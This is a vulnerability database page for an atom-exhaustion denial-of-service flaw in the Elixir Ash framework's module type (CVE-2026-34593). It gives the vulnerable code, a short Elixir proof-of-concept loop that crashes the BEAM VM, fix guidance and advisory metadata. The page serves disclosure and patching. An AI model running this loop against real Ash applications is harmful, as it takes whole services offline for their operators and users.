GHSA-JJF9-W5VJ-R6VP
Vulnerability from github – Published: 2026-04-01 00:14 – Updated: 2026-04-06 17:24Summary
Ash.Type.Module.cast_input/2 unconditionally creates a new Erlang atom via Module.concat([value]) for any user-supplied binary string that starts with "Elixir.", before verifying whether the referenced module exists. Because Erlang atoms are never garbage-collected and the BEAM atom table has a hard default limit of approximately 1,048,576 entries, an attacker who can submit values to any resource attribute or argument of type :module can exhaust this table and crash the entire BEAM VM, taking down the application.
Details
Setup: A resource with a :module-typed attribute exposed to user input, which is a supported and documented usage of the Ash.Type.Module built-in type:
defmodule MyApp.Widget do
use Ash.Resource, domain: MyApp, data_layer: AshPostgres.DataLayer
attributes do
uuid_primary_key :id
attribute :handler_module, :module, public?: true
end
actions do
defaults [:read, :destroy]
create :create do
accept [:handler_module]
end
end
end
Vulnerable code in lib/ash/type/module.ex, lines 105-113:
def cast_input("Elixir." <> _ = value, _) do
module = Module.concat([value]) # <-- Creates new atom unconditionally
if Code.ensure_loaded?(module) do
{:ok, module}
else
:error # <-- Returns error but atom is already created
end
end
Exploit: Submit repeated Ash.create requests (e.g., via a JSON API endpoint) with unique "Elixir.*" strings:
# Attacker-controlled loop (or HTTP requests to an API endpoint)
for i <- 1..1_100_000 do
Ash.Changeset.for_create(MyApp.Widget, :create, %{handler_module: "Elixir.Attack#{i}"})
|> Ash.create()
# Each iteration: Module.concat(["Elixir.Attack#{i}"]) creates a new atom
# cast_input returns :error but the atom :"Elixir.Attack#{i}" persists
end
# After ~1,048,576 unique strings: BEAM crashes with system_limit
Contrast: The non-"Elixir." path in the same function correctly uses String.to_existing_atom/1, which is safe because it only looks up atoms that already exist:
def cast_input(value, _) when is_binary(value) do
atom = String.to_existing_atom(value) # safe - raises if atom doesn't exist
...
end
Additional occurrence: cast_stored/2 at line 141 contains the identical pattern, which is reachable when reading :module-typed values from the database if an attacker can write arbitrary "Elixir.*" strings to the relevant database column.
Impact
An attacker who can submit requests to any API endpoint backed by an Ash resource with a :module-typed attribute or argument can crash the entire BEAM VM process. This is a complete denial of service: all resources served by that VM instance (not just the targeted resource) become unavailable. The crash cannot be prevented once the atom table is full, and recovery requires a full process restart.
Fix direction: Replace Module.concat([value]) with String.to_existing_atom(value) wrapped in a rescue ArgumentError block (as already done in the non-"Elixir." branch), or validate that the atom already exists before calling Module.concat by first attempting String.to_existing_atom and only falling back to Module.concat on success.
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 3.21.3"
},
"package": {
"ecosystem": "Hex",
"name": "ash"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "3.22.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-34593"
],
"database_specific": {
"cwe_ids": [
"CWE-400",
"CWE-770"
],
"github_reviewed": true,
"github_reviewed_at": "2026-04-01T00:14:40Z",
"nvd_published_at": "2026-04-02T18:16:31Z",
"severity": "HIGH"
},
"details": "## Summary\n\n`Ash.Type.Module.cast_input/2` unconditionally creates a new Erlang atom via `Module.concat([value])` for any user-supplied binary string that starts with `\"Elixir.\"`, before verifying whether the referenced module exists. Because Erlang atoms are never garbage-collected and the BEAM atom table has a hard default limit of approximately 1,048,576 entries, an attacker who can submit values to any resource attribute or argument of type `:module` can exhaust this table and crash the entire BEAM VM, taking down the application.\n\n## Details\n\n**Setup**: A resource with a `:module`-typed attribute exposed to user input, which is a supported and documented usage of the `Ash.Type.Module` built-in type:\n\n```elixir\ndefmodule MyApp.Widget do\n use Ash.Resource, domain: MyApp, data_layer: AshPostgres.DataLayer\n\n attributes do\n uuid_primary_key :id\n attribute :handler_module, :module, public?: true\n end\n\n actions do\n defaults [:read, :destroy]\n create :create do\n accept [:handler_module]\n end\n end\nend\n```\n\n**Vulnerable code** in `lib/ash/type/module.ex`, lines 105-113:\n\n```elixir\ndef cast_input(\"Elixir.\" \u003c\u003e _ = value, _) do\n module = Module.concat([value]) # \u003c-- Creates new atom unconditionally\n if Code.ensure_loaded?(module) do\n {:ok, module}\n else\n :error # \u003c-- Returns error but atom is already created\n end\nend\n```\n\n**Exploit**: Submit repeated `Ash.create` requests (e.g., via a JSON API endpoint) with unique `\"Elixir.*\"` strings:\n\n```elixir\n# Attacker-controlled loop (or HTTP requests to an API endpoint)\nfor i \u003c- 1..1_100_000 do\n Ash.Changeset.for_create(MyApp.Widget, :create, %{handler_module: \"Elixir.Attack#{i}\"})\n |\u003e Ash.create()\n # Each iteration: Module.concat([\"Elixir.Attack#{i}\"]) creates a new atom\n # cast_input returns :error but the atom :\"Elixir.Attack#{i}\" persists\nend\n# After ~1,048,576 unique strings: BEAM crashes with system_limit\n```\n\n**Contrast**: The non-`\"Elixir.\"` path in the same function correctly uses `String.to_existing_atom/1`, which is safe because it only looks up atoms that already exist:\n\n```elixir\ndef cast_input(value, _) when is_binary(value) do\n atom = String.to_existing_atom(value) # safe - raises if atom doesn\u0027t exist\n ...\nend\n```\n\n**Additional occurrence**: `cast_stored/2` at line 141 contains the identical pattern, which is reachable when reading `:module`-typed values from the database if an attacker can write arbitrary `\"Elixir.*\"` strings to the relevant database column.\n\n## Impact\n\nAn attacker who can submit requests to any API endpoint backed by an Ash resource with a `:module`-typed attribute or argument can crash the entire BEAM VM process. This is a complete denial of service: all resources served by that VM instance (not just the targeted resource) become unavailable. The crash cannot be prevented once the atom table is full, and recovery requires a full process restart.\n\n**Fix direction**: Replace `Module.concat([value])` with `String.to_existing_atom(value)` wrapped in a `rescue ArgumentError` block (as already done in the non-`\"Elixir.\"` branch), or validate that the atom already exists before calling `Module.concat` by first attempting `String.to_existing_atom` and only falling back to `Module.concat` on success.",
"id": "GHSA-jjf9-w5vj-r6vp",
"modified": "2026-04-06T17:24:41Z",
"published": "2026-04-01T00:14:40Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/ash-project/ash/security/advisories/GHSA-jjf9-w5vj-r6vp"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-34593"
},
{
"type": "WEB",
"url": "https://github.com/ash-project/ash/commit/7031103da38cd1366cec8c96d6bcdc9b989aa3c2"
},
{
"type": "PACKAGE",
"url": "https://github.com/ash-project/ash"
},
{
"type": "WEB",
"url": "https://github.com/ash-project/ash/releases/tag/v3.22.0"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"type": "CVSS_V4"
}
],
"summary": "Ash.Type.Module.cast_input/2 atom exhaustion via unchecked Module.concat allows BEAM VM crash"
}
Drag nodes to arrange them. Double-click a related vulnerability to open it, or a source to visit its link. The Physics button on the left tunes the layout and the simulation; the legend at the bottom left hides or shows nodes by kind and by sighting type.
Sightings
| Author | Source | Type | Date | Other |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or observed by the user.
- Confirmed: The vulnerability has been validated from an analyst's perspective.
- Published Proof of Concept: A public proof of concept is available for this vulnerability.
- Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
- Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
- Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
- Not confirmed: The user expressed doubt about the validity of the vulnerability.
- Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.
Vulnerability timeline
Sightings and recorded dates, grouped by day · UTC
How durations are calculated
Following the VTEM framework (Black Hat USA 2015), time to patch starts when the vendor or a coordinator was informed, total time to patch at discovery, and disclosure to patch at public disclosure; vendor response time runs from the report to its acknowledgement. Time to exploit and time unpatched start at the earliest discovery or report, falling back to public disclosure. Unpatched time ends at the first recorded patch, or the calculation time when no patch is recorded. Exploitation to patch shows the interval between those two events; a published proof of concept is a public exploit, not exploitation.
Each result shows its source dates. A negative interval means the end event came first; when date-only inputs leave the order open, the result says so. Date-only inputs are approximate. The earliest evidence wins: KEV report dates and sightings are labelled as such. Records describing another vulnerability are listed but never calculated from, and a PoC alone does not establish exploitation. Missing patch evidence does not prove that no patch exists. Filters below change the event list only.
Loading timeline…
The approach is described in our paper Mapping CVEs to MITRE ATT&CK Techniques: A Curated Gold-Set Classifier and the Limits of LLM-Assisted Label Expansion.
Browse all ATT&CK techniques and the vulnerabilities related to each.
Related by attack behaviour
Vulnerabilities whose description is nearest to this one in the vector space of the CIRCL/vulnerability-attack-technique-biencoder model. This is a similarity search over the bi-encoder space (plain cosine), not a classification, and it has no measured accuracy.